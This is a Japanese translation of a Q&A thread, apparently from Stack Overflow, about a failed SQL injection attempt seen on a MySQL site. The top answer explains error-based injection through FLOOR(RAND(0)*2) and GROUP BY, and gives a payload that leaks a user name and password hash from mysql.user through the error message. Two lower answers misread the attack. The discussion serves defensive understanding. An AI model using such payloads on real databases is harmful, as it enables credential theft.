14

Web サイトで失敗した SQL インジェクション攻撃を検出しました。失敗したクエリの形式は次のとおりです。

SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x)

この':sjw:1:ukt:1'部分は、ランダムな 0 または 1 などを与えるために連結された変数で特別に構築されています。

これらのクエリが何をするのか知りたいですか?

データベースはMySQLです。

更新:元の挿入された SQL は次のとおりです。

(SELECT 6106
 FROM  (SELECT COUNT(*),
               CONCAT(
                        CHAR(58, 115, 106, 119, 58), 
                        (SELECT ( CASE WHEN ( 6106 = 6106 ) THEN 1 ELSE 0 END )), 
                        CHAR(58, 117, 107, 116, 58), 
                        FLOOR(RAND(0) * 2)
                      ) x
        FROM   INFORMATION_SCHEMA.TABLES
        GROUP  BY x)a) 

メッセージで失敗します

キー「group_key」の重複エントリ「:sjw:1:ukt:1」

4

3 に答える 3

25

攻撃が実際に行うこと

この攻撃には、他の回答者が見落としている微妙だが巧妙な詳細があります。エラー メッセージに注意してくださいDuplicate entry ':sjw:1:ukt:1' for key 'group_key'。文字列:sjw:1:ukt:1は、実際には MySQL サーバーによって評価された式の結果です。アプリケーションが MySQL エラー文字列をブラウザに送り返す場合、エラー メッセージによってデータベースからデータが漏洩する可能性があります。

この種の攻撃は、クエリの結果がブラウザーに返されない場合 (ブラインド SQL インジェクション) や、従来の UNION SELECT 攻撃の実行が複雑な場合に使用されます。INSERT/UPDATE/DELETE クエリでも機能します。

Hawili が指摘しているように、元の特定のクエリは情報を漏らすことは想定されておらず、アプリケーションがこの種のインジェクションに対して脆弱であるかどうかを確認するための単なるテストでした。

MvG が提案したように攻撃は失敗しませんでした。このエラーの原因はクエリの目的です。

これがどのように使用されるかのより良い例:

> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
>                        0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'

エラーが発生する理由

クエリが MySQL でこのエラーを引き起こす理由は、私にとってやや謎です。GROUP BY は重複したエントリを集約して処理することになっているため、MySQL のバグのようです。Hawili のクエリの単純化は、実際にはエラーの原因ではありません!

この式FLOOR(RAND(0)*2)は、ランダム シード引数 0 に基づいて、次の結果を順番に返します。

> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
 ...

3 番目の値は 2 番目の値と重複しているため、このエラーがスローされます。3 行以上の任意の FROM テーブルを使用できますが、information_schema.tables が一般的です。MySQL でエラーを発生させるには、COUNT(*) および GROUP BY 部分が必要です。

> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

このエラーは、PostgreSQL に相当するクエリでは発生しません。

# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
 count | x 
-------+---
    83 | 0
    90 | 1

(1年遅れて申し訳ありませんが、今日これに出くわしました。MySQLからのエラーメッセージを介してデータをリークする方法があることに気付いていなかったので、この質問は興味深いものです)

于 2013-10-27T16:04:32.323 に答える
0

括弧で囲まれたサブクエリを実行すると、システム内のテーブルの数が得られます。主な目的は、クエリを作成し、生成された HTML のどこに出力が表示されるかを確認することだと思います。したがって、ランダムな文字列。SELECTサブクエリにエイリアス名がないため、外部は無効です。したがって、この不正確さがこの攻撃が失敗した原因だと思います。彼らは、挿入できる構文構造と、クエリを中断する構文構造を確認しようとしていた可能性があります。

于 2012-08-03T00:52:06.217 に答える
0

Select は数字を出力するだけなので、あなたの場合、答えは常に 6106 です

SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x 

別の答えを与える必要があります。システム内のテーブルの数に加えて、名前 x の下に挿入されたランダムなテキストが表示されます。それだけです。

つまり、意味のないクエリです。内部クエリの結果は表示されません。クエリ全体の結果は事前に決定されています。インジェクションは、この奇妙な方法を使用して攻撃をログに記録するために何らかの方法で自動化されているようです。

于 2012-08-03T00:54:49.537 に答える